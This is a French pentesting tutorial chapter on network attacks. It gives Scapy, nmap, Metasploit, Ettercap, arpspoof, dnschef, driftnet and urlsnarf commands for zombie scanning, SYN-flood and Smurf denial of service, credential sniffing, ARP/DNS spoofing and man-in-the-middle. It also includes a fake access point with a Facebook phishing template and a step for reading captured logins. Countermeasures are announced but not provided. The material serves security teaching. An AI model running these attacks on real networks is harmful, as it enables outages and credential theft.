Attaque réseau

Les attaques réseau

Toujours dans la continuité de notre série d'article sur "L'art du pentesting, dans ce nouveau chapitre nous allons traiter les attaques les plus utilisées, mais aussi les plus efficaces et critiques. Nous allons aussi pouvoir traiter les contremesures nécessaires contre ces dernières. A noter qu’un hacker peut utiliser une combinaison d’attaques. Les réseaux sans fil sont plus vulnérables que les réseaux filaires

Prérequis pour comprendre ce chapitre : Bien assimiler le chapitre sur la Prise d'informations et le rappel concernant les couche TCP/IP

Petit rappel :

Les trois piliers de la sécurité des réseaux

  • Analysez, détectez, vérifiez et corrigez
  • Traitez les problèmes de vulnérabilité, la gestion des correctifs et audit
  • Résoudre les problèmes le plus rapidement et efficacement possible

IDLE HOST SCANNING

Le IDLE scanning est une ancienne mais loin d’être démodée. le concept du HDLE scanning est que l'attaquant scan des ports sur une machine, tout en faisant croire à la machine cible que c'est une autre personne que vous qui la scanne. Ce type de scan est aussi appellé "Zombie Scanning" Quand une machine reçoit deux paquets de façon très rapprochée, il doit déterminer l’ordre de ces derniers le protocole IP à un champ prévu pour numéroter les paquets, il s'appelle l'IPID (Incrémental).

Trêve de mondanité et passon maintenant au vif du sujet :

Outils qu'on utilisera

  • Scapy
  • Nmap
  • Hping3

    Scapy

Scapy est un outil d'injection et de manipulation de paquets dans un réseau. Scapy est un module très puissant pour Python permettant de forger, décoder, émettre et de recevoir les paquets d’une multitude de protocoles (ARP, DHCP, DNS, ICMP, IP...). Il peut facilement manipuler la plupart des tâches classiques comme le scan, traceroute, sniff etc...

scapy
    >>> i =IP()                     # Création d'une couche IP qu'on affecte à une variable i
    >>> i.display()                 # Visualiser les componsant du paquet
    >>> i.dst = "@IP_destination"   # Assigner une adresse de destination à notre paquet IP
    >>> i.display()                 # Visualiser les composants du paquet IP

    Création d'un Paquet UDP
    >>> u = UDP()                   # Création d'un paquet UDP qu'on affecte à une variable u
    >>> u.display()                 # Visualiser les composant du paquet
    >>> u.dport                     # Visualiser le port du paquet UDP
    >>> u.dport = 123               # Assigner le 123 (ntp) au paquet udp

    >>> requete = (i/u)             # Combiner les deux couches i(IP) et u(UDP) dans la variable requete
    >>> requete.display()           # Visualiser les composant de notre requête composer du paquet IP et du paquet UDP
    >>> reponse = sr1(requete)      # Récupération de la réponse
    >>> reponse.display()           # Analyser la réponse

Effectuer ceci en une seule commande

    scapy
    >>> response = sr1(IP(dst="@IP_cible")/UDP(dport=53),timeout=1,verbose=1)
    >>> response.display()          # Analyser la réponse

Tester la concordance de scapy ave nmap :

Forger un scan hidle scannig via nmap

nmap -sI @IP_zombie @IP_cible -p 80   # Scan du port 80 d'une machine cible via une machine zombie

LES DENIS DE SERVICE

Le Denis de service (DoS) Consiste à remplir une zone de stockage ou un canal de communication jusqu’à ce que l’on ne puisse plus l’utiliser. Il en résulte un DoS.

Déni de Service par Smurf :

  • La machine attaquante envoie un ping à des serveurs de broadcast.
  • Le serveur répercute la requête sur l’ensemble du réseau.
  • Toute les machines répondent au serveurs de broadcast.
  • Les serveurs redirigent les réponses vers la cible.

Déni de Service par SYN flood

Le SYN flood est une attaque informatique visant à atteindre un déni de service. Elle s'applique dans le cadre du protocole TCP. Elle consiste à envoyer une succession de requêtes SYN vers la cible sans répondre par ACK au réponse SYN-ACK du serveur.

Outils qu’on utilisera :

  • Scapy
  • Metasploit

Via Metasploit :

use auxiliary/dos/tcp/synflood        # utiliser l'exploit dos en tcp par synflood
show options                          # Visualisé les options
set RHOST @IP                         # renseigner @IP de la victim
exploit                               # performer l'attaque

Via Smurf :

scapy                                # Lancement de scapy via le terminal
>>> i = IP()                         # Création d'un paquet IP
>>> i.display()                      # Visualiser le paquet i
>>> i.dst = '@IP de brodcast'        # ajouter en destination du paquet l'adresse ip de broadcat du réseau cible
>>> i.display()                      # Visualiser le paquet i
>>> ping = ICMP()                    # Création d'un paquet ICMP
>>> ping.display()                   # Visualisationdu paquet ping
>>> requete = (i/ping)               # Création de la requête en concatenant les deux paquets
    - Lancer wireshark avant de lancer la requête pour visualiser se qui ce passe sur le réseau
    >>> send(requete)                               => envoie de la requête En une seule requête

scapy
    >>>send(IP(dst="@IP_broadcast",src="@IP_flood")/ICMP(),count=10000,verbose=1)

SNIFFING RESEAU

Le sniffing de réseaux est une technique qui permet l'interception de trafic sur le réseau ainsi que l'nterception et l'analyse de paquets le décodage de trafic si nécessaire et la récupération d’informations (URL , nom d’utilisateurs , mot de passe, etc...)

Ettercap Ettercap est un outil conçu par Aberto Ornaghi (ALoR) et Marco Valleri (NaGA). C'est une suite d'outils pour des attaques par "man in the middle" sur un réseau LAN. Ettercap est capable d'accomplir des attaques sur le protocole ARP pour se positionner en tant que "man in the middle". Une fois placé en tant que tel, il permet :

  • D'infecter, de remplacer et de supprimer des données dans une connexion
  • De découvrir des mots de passe pour des protocoles comme FTP, HTTP, POP, SSH1, etc...
  • De fournir aux victimes de faux certificats SSL dans des sessions HTTPS.
  • etc ...

Wireshark Wireshark est un analyseur de paquets libre. Utiliser pour le dépannage et l'analyse de réseaux informatiques, le développement de protocoles, l'éducation et la rétro-ingénierie. Son appellation d'origine (Ethereal) a été modifiée en mai 2006 pour des questions relatives au droit des marques. C'est un outil très puissant voir l'un des outils d'analyse réseau les plus puissant.

Sniffing réseaux en preatique :

wireshark                             => Lancement de wireshark

eth0 => start=> Lancer la capture sur l'interface eth0

  • Aller sur DMVA (VM metasploitable 2) et se loguer
  • Dans wireshark retrouver le paquet HTTP de type POST correspondant à la requête
  • Double cliquer sur la requête pour lire les informations
  • Se dirriger vers la requête POST en défilant vers le bas
  • On peut voir les cookie en clair/les login/mots de passe

Ettercap

 ettercap -G        # Lancement de Ettercap en mode graphique
  • Choisir son interface d'écoute
  • HOSTS => HOSTS list => Interface pour lancer le scan des machines
  • HOSTS scan for hosts => Lister les machines du réseau
  • MITM => ARP poisoning => Sniff remote connection => Sniffer les connexion sur le réseau
  • Dans DVWA se loguer avec ses identifiants
  • Dans Ettercap on peut constater qu'il a sniffer et récupérer les login/password

SPOOFING RESEAU

Introduction

Le spoofing réseau consiste à envoyer des paquets IP en utilisant une adresse IP source qui n'a pas été attribuée à l'ordinateur émetteur :

  • Mascarade de l'adresse IP
  • Masquer sa propre identité lors d'une attaque d'un serveur
  • Usurper l'identité d'un autre équipement du réseau pour bénéficier des services auxquels il a accès.
  • Processus de modification de paquets pour avoir des informations entre deux parties communicantes.

Comment ça marche ?

DNSChef

DNSChef est un Proxy DNS qui peut être utilisé pour créer des faux domaine (Domain Request), contrôler le trafic de la victime (http://thesprawl.org/projects/dnschef/)

Arpspoof

  • Sniffer le trafic
  • Forger des paquets ARP entre deux parties communicantes
  • Cache ARP & Adresse Mac

Outils qu’on utilisera

  • DNSChef
  • Arpspoof
  • Ettercap

DNSChef

    dnschef --fakeip=@IP_redirection --fakedomains adminsys-dev.com --interface @IP_cible -q

APSPOOFF

    arpspoof -t @IP_cible @IP_spoof

Ettercap

    ettercap -G
  • Sniff => Unified sniffing => eth0
  • HOSTS => HOTS list => Scan for hosts
  • cliquer sur add to target 1
  • MITM => ARP poisoning => Sniff remote connections et ONly poison one-way
  • Plugins => DnsPoof ==> double cliquer

       cd /etc/ettercap
       vi etter.dns

    Ajouter les domaines que l'on souhaite spoofer

    exemple.com A domaine_redirection

    MAN IN THE MIDDLE

Le Man In The Middle (home du milieu) est l’attaque la plus courante en entreprise. Simple à mettre en place mais dangereuse. Très peu de moyens existent pour la contrer et très peu d’entreprises mettent en place des solutions contre cette dernière.

Le protocole ARP

Man in The Middle comment ça marche ?

DriftNet

DriftNet est un outil qui permet de capturer des images du trafic réseau et de les afficher dans une fenêtre. Couplé à un MITM (Ettercap-ng) cet outil vous permet de voir toutes les images d'une cible donnée

3vilTwinAttacker

3vilTwinAttacker est un programme écrit en python automatisant la création d'un faux point d'accès. Il intègre un bon nombres d'outils vous facilitant la tache dans le cadre d'une attaque MITM

Outils qu’on utilisera

  • Ettercap
  • Urlsnarf
  • DriftNet
  • 3vilTwinAttacker

Lab : Man In The Middle

Ettercap

  • ettercap -G
  • Sniff => Unified sniffing => eth0
  • Hosts => Hosts list => Scan Hosts list
  • Choisir l'hôte correspondant à la passerelle et faire Add To Target 1
  • choisir ensuite la machine cible et faire Add To Target 2
  • MITM => ARP poisoning => sniffer les conexion à distance

Ensuite on va utiliser Driftnet pour visualiser les images qui transite sur le réseau

driftnet

On peu aussi utiliser urlsnarf pour visiualiser les url visité de la victime

urlsnarf -i eth0

3vilTwinAttacker

  • Installer 3vilTwinAttacker

    3vilTwinAttacker # ouvrir 3vilTwinAttacker Choisir l'attaque que l'on souhaite forger

    cd /usr/share/3vilTwinAttacker/Templates/Phishing/Facebook # Emplacement du fichier de phishing Facebook cat log.txt # Lecture du fichier ou sont stocker les identifiant écupérés